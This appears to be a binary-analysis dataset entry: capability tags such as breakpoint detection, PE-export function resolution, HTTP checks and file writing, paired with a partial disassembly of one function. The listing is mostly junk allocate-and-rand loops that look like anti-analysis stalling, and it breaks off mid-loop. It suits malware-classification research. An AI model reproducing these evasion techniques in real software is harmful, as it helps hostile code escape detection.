Function at 0x140008d90
Capabilities:
Check for software breakpoints
Check http status code
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0xcd468
call fcn.1400587c0
sub rsp, rax
mov qword [rsp + 0xcd0a0], rcx
movss xmm0, dword [0x1400ec794]
movss dword [rsp + 0xcd09c], xmm0
movss xmm0, dword [0x1400ec790]
movss dword [rsp + 0xcd09c], xmm0
movss xmm0, dword [rsp + 0xcd09c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec788]
ucomisd xmm0, xmm1
jne 0x140008f03
jp 0x140008f03
mov dword [rsp + 0xcd098], 0
cmp dword [rsp + 0xcd098], 0xffa
jge 0x140008ee1
mov ecx, 0x257a0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd090], rax
mov dword [rsp + 0xcd08c], 0
cmp dword [rsp + 0xcd08c], 0x140
jge 0x140008e9f
call sub.msvcrt.dll_rand
mov ecx, 0x3895
cdq
idiv ecx
mov rax, qword [rsp + 0xcd090]
movsxd rcx, dword [rsp + 0xcd08c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3e8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcd09c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcd09c], xmm0
mov eax, dword [rsp + 0xcd08c]
add eax, 1
mov dword [rsp + 0xcd08c], eax
jmp 0x140008e25
mov rax, qword [rsp + 0xcd090]
mov qword [rsp + 0x38d0], rax
cmp rax, 0
je 0x140008ec6
mov rcx, qword [rsp + 0x38d0]
call sym.operator_delete_void_
jmp 0x140008ecb
mov eax, dword [rsp + 0xcd098]
add eax, 1
mov dword [rsp + 0xcd098], eax
jmp 0x140008df7
movss xmm0, dword [0x1400ec79c]
movss dword [rsp + 0xcd09c], xmm0
movss xmm0, dword [0x1400ec798]
movss dword [rsp + 0xcd09c], xmm0
movss xmm0, dword [rsp + 0xcd09c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7a0]
ucomisd xmm0, xmm1
jne 0x14000903c
jp 0x14000903c
mov dword [rsp + 0xcd088], 0
cmp dword [rsp + 0xcd088], 0xdfa
jge 0x14000901a
mov ecx, 0x148ec
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd080], rax
mov dword [rsp + 0xcd07c], 0
cmp dword [rsp + 0xcd07c], 0x67
jge 0x140008fd8
call sub.msvcrt.dll_rand
mov ecx, 0x39d0
cdq
idiv ecx
mov rax, qword [rsp + 0xcd080]
movsxd rcx, dword [rsp + 0xcd07c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3e0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xcd09c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xcd09c], xmm0
mov eax, dword [rsp + 0xcd07c]
add eax, 1
mov dword [rsp + 0xcd07c], eax
jmp 0x140008f61
mov rax, qword [rsp + 0xcd080]
mov qword [rsp + 0x38c8], rax
cmp rax, 0
je 0x140008fff
mov rcx, qword [rsp + 0x38c8]
call sym.operator_delete_void_
jmp 0x140009004
mov eax, dword [rsp + 0xcd088]
add eax, 1
mov dword [rsp + 0xcd088], eax
jmp 0x140008f33
movss xmm0, dword [0x1400ec7ac]
movss dword [rsp + 0xcd09c], xmm0
movss xmm0, dword [0x1400ec7a8]
movss dword [rsp + 0xcd09c], xmm0
mov dword [rsp + 0xcd078], 0x3d8c
mov dword [rsp + 0xcd074], 0
cmp dword [rsp + 0xcd074], 0x419
jge 0x140009124
mov ecx, 0x23690
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd068], rax
mov dword [rsp + 0xcd064], 0
cmp dword [rsp + 0xcd064], 0x9c
jge 0x1400090e2
call sub.msvcrt.dll_rand
mov ecx, 0x3a03
cdq
idiv ecx
mov rax, qword [rsp + 0xcd068]
movsxd rcx, dword [rsp + 0xcd064]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x27c9
cdq
idiv ecx
add edx, dword [rsp + 0xcd078]
mov dword [rsp + 0xcd078], edx
mov eax, dword [rsp + 0xcd064]
add eax, 1
mov dword [rsp + 0xcd064], eax
jmp 0x140009080
mov rax, qword [rsp + 0xcd068]
mov qword [rsp + 0x38c0], rax
cmp rax, 0
je 0x140009109
mov rcx, qword [rsp + 0x38c0]
call sym.operator_delete_void_
jmp 0x14000910e
mov eax, dword [rsp + 0xcd074]
add eax, 1
mov dword [rsp + 0xcd074], eax
jmp 0x140009052
mov dword [rsp + 0xcd060], 0x2d90
mov dword [rsp + 0xcd05c], 0
cmp dword [rsp + 0xcd05c], 0x694
jge 0x14000920c
mov ecx, 0x1eba8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd050], rax
mov dword [rsp + 0xcd04c], 0
cmp dword [rsp + 0xcd04c], 0xfd
jge 0x1400091ca
call sub.msvcrt.dll_rand
mov ecx, 0x23a8
cdq
idiv ecx
mov rax, qword [rsp + 0xcd050]
movsxd rcx, dword [rsp + 0xcd04c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x20bf
cdq
idiv ecx
add edx, dword [rsp + 0xcd060]
mov dword [rsp + 0xcd060], edx
mov eax, dword [rsp + 0xcd04c]
add eax, 1
mov dword [rsp + 0xcd04c], eax
jmp 0x140009168
mov rax, qword [rsp + 0xcd050]
mov qword [rsp + 0x38b8], rax
cmp rax, 0
je 0x1400091f1
mov rcx, qword [rsp + 0x38b8]
call sym.operator_delete_void_
jmp 0x1400091f6
mov eax, dword [rsp + 0xcd05c]
add eax, 1
mov dword [rsp + 0xcd05c], eax
jmp 0x14000913a
mov dword [rsp + 0xcd048], 0x4604
mov dword [rsp + 0xcd044], 0
cmp dword [rsp + 0xcd044], 0x753
jge 0x1400092f4
mov ecx, 0x1ffdc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd038], rax
mov dword [rsp + 0xcd034], 0
cmp dword [rsp + 0xcd034], 0x16d
jge 0x1400092b2
call sub.msvcrt.dll_rand
mov ecx, 0x2e20
cdq
idiv ecx
mov rax, qword [rsp + 0xcd038]
movsxd rcx, dword [rsp + 0xcd034]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x30c4
cdq
idiv ecx
add edx, dword [rsp + 0xcd048]
mov dword [rsp + 0xcd048], edx
mov eax, dword [rsp + 0xcd034]
add eax, 1
mov dword [rsp + 0xcd034], eax
jmp 0x140009250
mov rax, qword [rsp + 0xcd038]
mov qword [rsp + 0x38b0], rax
cmp rax, 0
je 0x1400092d9
mov rcx, qword [rsp + 0x38b0]
call sym.operator_delete_void_
jmp 0x1400092de
mov eax, dword [rsp + 0xcd044]
add eax, 1
mov dword [rsp + 0xcd044], eax
jmp 0x140009222
mov dword [rsp + 0xcd030], 0x543b
mov dword [rsp + 0xcd02c], 0
cmp dword [rsp + 0xcd02c], 0x4dc
jge 0x1400093dc
mov ecx, 0x26974
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd020], rax
mov dword [rsp + 0xcd01c], 0
cmp dword [rsp + 0xcd01c], 0xc1
jge 0x14000939a
call sub.msvcrt.dll_rand
mov ecx, 0x20f8
cdq
idiv ecx
mov rax, qword [rsp + 0xcd020]
movsxd rcx, dword [rsp + 0xcd01c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3635
cdq
idiv ecx
add edx, dword [rsp + 0xcd030]
mov dword [rsp + 0xcd030], edx
mov eax, dword [rsp + 0xcd01c]
add eax, 1
mov dword [rsp + 0xcd01c], eax
jmp 0x140009338
mov rax, qword [rsp + 0xcd020]
mov qword [rsp + 0x38a8], rax
cmp rax, 0
je 0x1400093c1
mov rcx, qword [rsp + 0x38a8]
call sym.operator_delete_void_
jmp 0x1400093c6
mov eax, dword [rsp + 0xcd02c]
add eax, 1
mov dword [rsp + 0xcd02c], eax
jmp 0x14000930a
mov dword [rsp + 0xcd018], 0x115b
mov dword [rsp + 0xcd014], 0
cmp dword [rsp + 0xcd014], 0x7af
jge 0x1400094c4
mov ecx, 0x150ec
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcd008], rax
mov dword [rsp + 0xcd004], 0
cmp dword [rsp + 0xcd004], 0x1c0
jge 0x140009482
call sub.msvcrt.dll_rand
mov ecx, 0x1c0f
cdq
idiv ecx
mov rax, qword [rsp + 0xcd008]
movsxd rcx, dword [rsp + 0xcd004]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1eb1
cdq
idiv ecx
add edx, dword [rsp + 0xcd018]
mov dword [rsp + 0xcd018], edx
mov eax, dword [rsp + 0xcd004]
add eax, 1
mov dword [rsp + 0xcd004], eax
jmp 0x140009420
mov rax, qword [rsp + 0xcd008]
mov qword [rsp + 0x38a0], rax
cmp rax, 0
je 0x1400094a9
mov rcx, qword [rsp + 0x38a0]
call sym.operator_delete_void_
jmp 0x1400094ae
mov eax, dword [rsp + 0xcd014]
add eax, 1
mov dword [rsp + 0xcd014], eax
jmp 0x1400093f2
mov dword [rsp + 0xcd000], 0x2af5
mov dword [rsp + 0xccffc], 0
cmp dword [rsp + 0xccffc], 0x589
jge 0x1400095ac
mov ecx, 0x1e5dc
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccff0], rax
mov dword [rsp + 0xccfec], 0
cmp dword [rsp + 0xccfec], 0x1e4
jge 0x14000956a
call sub.msvcrt.dll_rand
mov ecx, 0x2d6f
cdq
idiv ecx
mov rax, qword [rsp + 0xccff0]
movsxd rcx, dword [rsp + 0xccfec]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x285d
cdq
idiv ecx
add edx, dword [rsp + 0xcd000]
mov dword [rsp + 0xcd000], edx
mov eax, dword [rsp + 0xccfec]
add eax, 1
mov dword [rsp + 0xccfec], eax
jmp 0x140009508
mov rax, qword [rsp + 0xccff0]
mov qword [rsp + 0x3898], rax
cmp rax, 0
je 0x140009591
mov rcx, qword [rsp + 0x3898]
call sym.operator_delete_void_
jmp 0x140009596
mov eax, dword [rsp + 0xccffc]
add eax, 1
mov dword [rsp + 0xccffc], eax
jmp 0x1400094da
mov dword [rsp + 0xccfe8], 0x4cb1
mov dword [rsp + 0xccfe4], 0
cmp dword [rsp + 0xccfe4], 0x5fc
jge 0x140009694
mov ecx, 0x12620
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccfd8], rax
mov dword [rsp + 0xccfd4], 0
cmp dword [rsp + 0xccfd4], 0x1ea
jge 0x140009652
call sub.msvcrt.dll_rand
mov ecx, 0x2a2c
cdq
idiv ecx
mov rax, qword [rsp + 0xccfd8]
movsxd rcx, dword [rsp + 0xccfd4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x21bb
cdq
idiv ecx
add edx, dword [rsp + 0xccfe8]
mov dword [rsp + 0xccfe8], edx
mov eax, dword [rsp + 0xccfd4]
add eax, 1
mov dword [rsp + 0xccfd4], eax
jmp 0x1400095f0
mov rax, qword [rsp + 0xccfd8]
mov qword [rsp + 0x3890], rax
cmp rax, 0
je 0x140009679
mov rcx, qword [rsp + 0x3890]
call sym.operator_delete_void_
jmp 0x14000967e
mov eax, dword [rsp + 0xccfe4]
add eax, 1
mov dword [rsp + 0xccfe4], eax
jmp 0x1400095c2
mov dword [rsp + 0xccfd0], 0x665f
mov dword [rsp + 0xccfcc], 0
cmp dword [rsp + 0xccfcc], 0x4c0
jge 0x140009779
mov ecx, 0x1b4c0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccfc0], rax
mov dword [rsp + 0xccfbc], 0
cmp dword [rsp + 0xccfbc], 0x6c
jge 0x140009737
call sub.msvcrt.dll_rand
mov ecx, 0x2b52
cdq
idiv ecx
mov rax, qword [rsp + 0xccfc0]
movsxd rcx, dword [rsp + 0xccfbc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2df2
cdq
idiv ecx
add edx, dword [rsp + 0xccfd0]
mov dword [rsp + 0xccfd0], edx
mov eax, dword [rsp + 0xccfbc]
add eax, 1
mov dword [rsp + 0xccfbc], eax
jmp 0x1400096d8
mov rax, qword [rsp + 0xccfc0]
mov qword [rsp + 0x3888], rax
cmp rax, 0
je 0x14000975e
mov rcx, qword [rsp + 0x3888]
call sym.operator_delete_void_
jmp 0x140009763
mov eax, dword [rsp + 0xccfcc]
add eax, 1
mov dword [rsp + 0xccfcc], eax
jmp 0x1400096aa
mov dword [rsp + 0xccfb8], 0x13ad
mov dword [rsp + 0xccfb4], 0
cmp dword [rsp + 0xccfb4], 0x79b
jge 0x140009861
mov ecx, 0x1816c
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccfa8], rax
mov dword [rsp + 0xccfa4], 0
cmp dword [rsp + 0xccfa4], 0x146
jge 0x14000981f
call sub.msvcrt.dll_rand
mov ecx, 0x2396
cdq
idiv ecx
mov rax, qword [rsp + 0xccfa8]
movsxd rcx, dword [rsp + 0xccfa4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x1b95
cdq
idiv ecx
add edx, dword [rsp + 0xccfb8]
mov dword [rsp + 0xccfb8], edx
mov eax, dword [rsp + 0xccfa4]
add eax, 1
mov dword [rsp + 0xccfa4], eax
jmp 0x1400097bd
mov rax, qword [rsp + 0xccfa8]
mov qword [rsp + 0x3880], rax
cmp rax, 0
je 0x140009846
mov rcx, qword [rsp + 0x3880]
call sym.operator_delete_void_
jmp 0x14000984b
mov eax, dword [rsp + 0xccfb4]
add eax, 1
mov dword [rsp + 0xccfb4], eax
jmp 0x14000978f
mov rax, qword [rsp + 0xcd0a0]
mov qword [rsp + 0xccf98], rax
mov rax, qword [rsp + 0xccf98]
mov rcx, qword [rsp + 0xccf98]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0xccf90], rax
movss xmm0, dword [0x1400ec7bc]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec7b8]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7b0]
ucomisd xmm0, xmm1
jne 0x1400099ee
jp 0x1400099ee
mov dword [rsp + 0xccf88], 0
cmp dword [rsp + 0xccf88], 0xff0
jge 0x1400099cc
mov ecx, 0x1f1c4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf80], rax
mov dword [rsp + 0xccf7c], 0
cmp dword [rsp + 0xccf7c], 0x1b1
jge 0x14000998a
call sub.msvcrt.dll_rand
mov ecx, 0x2cbd
cdq
idiv ecx
mov rax, qword [rsp + 0xccf80]
movsxd rcx, dword [rsp + 0xccf7c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3d8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccf8c], xmm0
mov eax, dword [rsp + 0xccf7c]
add eax, 1
mov dword [rsp + 0xccf7c], eax
jmp 0x140009910
mov rax, qword [rsp + 0xccf80]
mov qword [rsp + 0x3878], rax
cmp rax, 0
je 0x1400099b1
mov rcx, qword [rsp + 0x3878]
call sym.operator_delete_void_
jmp 0x1400099b6
mov eax, dword [rsp + 0xccf88]
add eax, 1
mov dword [rsp + 0xccf88], eax
jmp 0x1400098e2
movss xmm0, dword [0x1400ec7c4]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec7c0]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7c8]
ucomisd xmm0, xmm1
jne 0x140009b2a
jp 0x140009b2a
mov dword [rsp + 0xccf78], 0
cmp dword [rsp + 0xccf78], 0xcab
jge 0x140009b08
mov ecx, 0x17098
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf70], rax
mov dword [rsp + 0xccf6c], 0
cmp dword [rsp + 0xccf6c], 0x17c
jge 0x140009ac6
call sub.msvcrt.dll_rand
mov ecx, 0x1595
cdq
idiv ecx
mov rax, qword [rsp + 0xccf70]
movsxd rcx, dword [rsp + 0xccf6c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3d0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccf8c], xmm0
mov eax, dword [rsp + 0xccf6c]
add eax, 1
mov dword [rsp + 0xccf6c], eax
jmp 0x140009a4c
mov rax, qword [rsp + 0xccf70]
mov qword [rsp + 0x3870], rax
cmp rax, 0
je 0x140009aed
mov rcx, qword [rsp + 0x3870]
call sym.operator_delete_void_
jmp 0x140009af2
mov eax, dword [rsp + 0xccf78]
add eax, 1
mov dword [rsp + 0xccf78], eax
jmp 0x140009a1e
movss xmm0, dword [0x1400ec7d4]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec7d0]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7d8]
ucomisd xmm0, xmm1
jne 0x140009c66
jp 0x140009c66
mov dword [rsp + 0xccf68], 0
cmp dword [rsp + 0xccf68], 0xedc
jge 0x140009c44
mov ecx, 0x22ed8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf60], rax
mov dword [rsp + 0xccf5c], 0
cmp dword [rsp + 0xccf5c], 0x238
jge 0x140009c02
call sub.msvcrt.dll_rand
mov ecx, 0x21b3
cdq
idiv ecx
mov rax, qword [rsp + 0xccf60]
movsxd rcx, dword [rsp + 0xccf5c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3c8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccf8c], xmm0
mov eax, dword [rsp + 0xccf5c]
add eax, 1
mov dword [rsp + 0xccf5c], eax
jmp 0x140009b88
mov rax, qword [rsp + 0xccf60]
mov qword [rsp + 0x3868], rax
cmp rax, 0
je 0x140009c29
mov rcx, qword [rsp + 0x3868]
call sym.operator_delete_void_
jmp 0x140009c2e
mov eax, dword [rsp + 0xccf68]
add eax, 1
mov dword [rsp + 0xccf68], eax
jmp 0x140009b5a
movss xmm0, dword [0x1400ec7e4]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec7e0]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7e8]
ucomisd xmm0, xmm1
jne 0x140009da2
jp 0x140009da2
mov dword [rsp + 0xccf58], 0
cmp dword [rsp + 0xccf58], 0xa1e
jge 0x140009d80
mov ecx, 0x16554
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf50], rax
mov dword [rsp + 0xccf4c], 0
cmp dword [rsp + 0xccf4c], 0x187
jge 0x140009d3e
call sub.msvcrt.dll_rand
mov ecx, 0x3037
cdq
idiv ecx
mov rax, qword [rsp + 0xccf50]
movsxd rcx, dword [rsp + 0xccf4c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3c0]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccf8c], xmm0
mov eax, dword [rsp + 0xccf4c]
add eax, 1
mov dword [rsp + 0xccf4c], eax
jmp 0x140009cc4
mov rax, qword [rsp + 0xccf50]
mov qword [rsp + 0x3860], rax
cmp rax, 0
je 0x140009d65
mov rcx, qword [rsp + 0x3860]
call sym.operator_delete_void_
jmp 0x140009d6a
mov eax, dword [rsp + 0xccf58]
add eax, 1
mov dword [rsp + 0xccf58], eax
jmp 0x140009c96
movss xmm0, dword [0x1400ec7f4]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec7f0]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
movsd xmm1, qword [0x1400ec7f8]
ucomisd xmm0, xmm1
jne 0x140009ede
jp 0x140009ede
mov dword [rsp + 0xccf48], 0
cmp dword [rsp + 0xccf48], 0x8a7
jge 0x140009ebc
mov ecx, 0x23a44
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf40], rax
mov dword [rsp + 0xccf3c], 0
cmp dword [rsp + 0xccf3c], 0x2ac
jge 0x140009e7a
call sub.msvcrt.dll_rand
mov ecx, 0x3105
cdq
idiv ecx
mov rax, qword [rsp + 0xccf40]
movsxd rcx, dword [rsp + 0xccf3c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
cvtsi2sd xmm1, eax
movsd xmm0, qword [0x1400ee3b8]
subsd xmm1, xmm0
movss xmm0, dword [rsp + 0xccf8c]
cvtss2sd xmm0, xmm0
addsd xmm0, xmm1
cvtsd2ss xmm0, xmm0
movss dword [rsp + 0xccf8c], xmm0
mov eax, dword [rsp + 0xccf3c]
add eax, 1
mov dword [rsp + 0xccf3c], eax
jmp 0x140009e00
mov rax, qword [rsp + 0xccf40]
mov qword [rsp + 0x3858], rax
cmp rax, 0
je 0x140009ea1
mov rcx, qword [rsp + 0x3858]
call sym.operator_delete_void_
jmp 0x140009ea6
mov eax, dword [rsp + 0xccf48]
add eax, 1
mov dword [rsp + 0xccf48], eax
jmp 0x140009dd2
movss xmm0, dword [0x1400ec804]
movss dword [rsp + 0xccf8c], xmm0
movss xmm0, dword [0x1400ec800]
movss dword [rsp + 0xccf8c], xmm0
mov dword [rsp + 0xccf38], 0x712a
mov dword [rsp + 0xccf34], 0
cmp dword [rsp + 0xccf34], 0x462
jge 0x140009fc6
mov ecx, 0x1f1b0
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf28], rax
mov dword [rsp + 0xccf24], 0
cmp dword [rsp + 0xccf24], 0x15b
jge 0x140009f84
call sub.msvcrt.dll_rand
mov ecx, 0x1f0f
cdq
idiv ecx
mov rax, qword [rsp + 0xccf28]
movsxd rcx, dword [rsp + 0xccf24]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3268
cdq
idiv ecx
add edx, dword [rsp + 0xccf38]
mov dword [rsp + 0xccf38], edx
mov eax, dword [rsp + 0xccf24]
add eax, 1
mov dword [rsp + 0xccf24], eax
jmp 0x140009f22
mov rax, qword [rsp + 0xccf28]
mov qword [rsp + 0x3850], rax
cmp rax, 0
je 0x140009fab
mov rcx, qword [rsp + 0x3850]
call sym.operator_delete_void_
jmp 0x140009fb0
mov eax, dword [rsp + 0xccf34]
add eax, 1
mov dword [rsp + 0xccf34], eax
jmp 0x140009ef4
mov dword [rsp + 0xccf20], 0x24e8
mov dword [rsp + 0xccf1c], 0
cmp dword [rsp + 0xccf1c], 0x5a0
jge 0x14000a0ae
mov ecx, 0x248f4
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccf10], rax
mov dword [rsp + 0xccf0c], 0
cmp dword [rsp + 0xccf0c], 0x13a
jge 0x14000a06c
call sub.msvcrt.dll_rand
mov ecx, 0x2765
cdq
idiv ecx
mov rax, qword [rsp + 0xccf10]
movsxd rcx, dword [rsp + 0xccf0c]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x22b5
cdq
idiv ecx
add edx, dword [rsp + 0xccf20]
mov dword [rsp + 0xccf20], edx
mov eax, dword [rsp + 0xccf0c]
add eax, 1
mov dword [rsp + 0xccf0c], eax
jmp 0x14000a00a
mov rax, qword [rsp + 0xccf10]
mov qword [rsp + 0x3848], rax
cmp rax, 0
je 0x14000a093
mov rcx, qword [rsp + 0x3848]
call sym.operator_delete_void_
jmp 0x14000a098
mov eax, dword [rsp + 0xccf1c]
add eax, 1
mov dword [rsp + 0xccf1c], eax
jmp 0x140009fdc
mov dword [rsp + 0xccf08], 0x5905
mov dword [rsp + 0xccf04], 0
cmp dword [rsp + 0xccf04], 0x6c4
jge 0x14000a196
mov ecx, 0x9d68
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccef8], rax
mov dword [rsp + 0xccef4], 0
cmp dword [rsp + 0xccef4], 0x15e
jge 0x14000a154
call sub.msvcrt.dll_rand
mov ecx, 0x392e
cdq
idiv ecx
mov rax, qword [rsp + 0xccef8]
movsxd rcx, dword [rsp + 0xccef4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x3a82
cdq
idiv ecx
add edx, dword [rsp + 0xccf08]
mov dword [rsp + 0xccf08], edx
mov eax, dword [rsp + 0xccef4]
add eax, 1
mov dword [rsp + 0xccef4], eax
jmp 0x14000a0f2
mov rax, qword [rsp + 0xccef8]
mov qword [rsp + 0x3840], rax
cmp rax, 0
je 0x14000a17b
mov rcx, qword [rsp + 0x3840]
call sym.operator_delete_void_
jmp 0x14000a180
mov eax, dword [rsp + 0xccf04]
add eax, 1
mov dword [rsp + 0xccf04], eax
jmp 0x14000a0c4
mov dword [rsp + 0xccef0], 0x6968
mov dword [rsp + 0xcceec], 0
cmp dword [rsp + 0xcceec], 0x4d3
jge 0x14000a27e
mov ecx, 0xcd28
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccee0], rax
mov dword [rsp + 0xccedc], 0
cmp dword [rsp + 0xccedc], 0xf1
jge 0x14000a23c
call sub.msvcrt.dll_rand
mov ecx, 0x33df
cdq
idiv ecx
mov rax, qword [rsp + 0xccee0]
movsxd rcx, dword [rsp + 0xccedc]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2f18
cdq
idiv ecx
add edx, dword [rsp + 0xccef0]
mov dword [rsp + 0xccef0], edx
mov eax, dword [rsp + 0xccedc]
add eax, 1
mov dword [rsp + 0xccedc], eax
jmp 0x14000a1da
mov rax, qword [rsp + 0xccee0]
mov qword [rsp + 0x3838], rax
cmp rax, 0
je 0x14000a263
mov rcx, qword [rsp + 0x3838]
call sym.operator_delete_void_
jmp 0x14000a268
mov eax, dword [rsp + 0xcceec]
add eax, 1
mov dword [rsp + 0xcceec], eax
jmp 0x14000a1ac
mov dword [rsp + 0xcced8], 0x38c2
mov dword [rsp + 0xcced4], 0
cmp dword [rsp + 0xcced4], 0x592
jge 0x14000a366
mov ecx, 0x11e98
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xccec8], rax
mov dword [rsp + 0xccec4], 0
cmp dword [rsp + 0xccec4], 0x13a
jge 0x14000a324
call sub.msvcrt.dll_rand
mov ecx, 0x214c
cdq
idiv ecx
mov rax, qword [rsp + 0xccec8]
movsxd rcx, dword [rsp + 0xccec4]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x2524
cdq
idiv ecx
add edx, dword [rsp + 0xcced8]
mov dword [rsp + 0xcced8], edx
mov eax, dword [rsp + 0xccec4]
add eax, 1
mov dword [rsp + 0xccec4], eax
jmp 0x14000a2c2
mov rax, qword [rsp + 0xccec8]
mov qword [rsp + 0x3830], rax
cmp rax, 0
je 0x14000a34b
mov rcx, qword [rsp + 0x3830]
call sym.operator_delete_void_
jmp 0x14000a350
mov eax, dword [rsp + 0xcced4]
add eax, 1
mov dword [rsp + 0xcced4], eax
jmp 0x14000a294
mov dword [rsp + 0xccec0], 0x61cd
mov dword [rsp + 0xccebc], 0
cmp dword [rsp + 0xccebc], 0x6b1
jge 0x14000a44e
mov ecx, 0x17748
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcceb0], rax
mov dword [rsp + 0xcceac], 0
cmp dword [rsp + 0xcceac], 0x1b7
jge 0x14000a40c
call sub.msvcrt.dll_rand
mov ecx, 0x1909
cdq
idiv ecx
mov rax, qword [rsp + 0xcceb0]
movsxd rcx, dword [rsp + 0xcceac]
mov dword [rax + rcx*4], edx
call sub.msvcrt.dll_rand
mov ecx, 0x15cf
cdq
idiv ecx
add edx, dword [rsp + 0xccec0]
mov dword [rsp + 0xccec0], edx
mov eax, dword [rsp + 0xcceac]
add eax, 1
mov dword [rsp + 0xcceac], eax
jmp 0x14000a3aa
mov rax, qword [rsp + 0xcceb0]
mov qword [rsp + 0x3828], rax
cmp rax, 0
je 0x14000a433
mov rcx, qword [rsp + 0x3828]
call sym.operator_delete_void_
jmp 0x14000a438
mov eax, dword [rsp + 0xccebc]
add eax, 1
mov dword [rsp + 0xccebc], eax
jmp 0x14000a37c
mov dword [rsp + 0xccea8], 0xb12
mov dword [rsp + 0xccea4], 0
cmp dword [rsp + 0xccea4], 0x44d
jge 0x14000a536
mov ecx, 0xe9d8
call sym.operator_new___unsigned_long_long_
mov qword [rsp + 0xcce98], rax
mov dword [rsp + 0xcce94], 0
cmp dword [rsp + 0xcce94], 0xe8
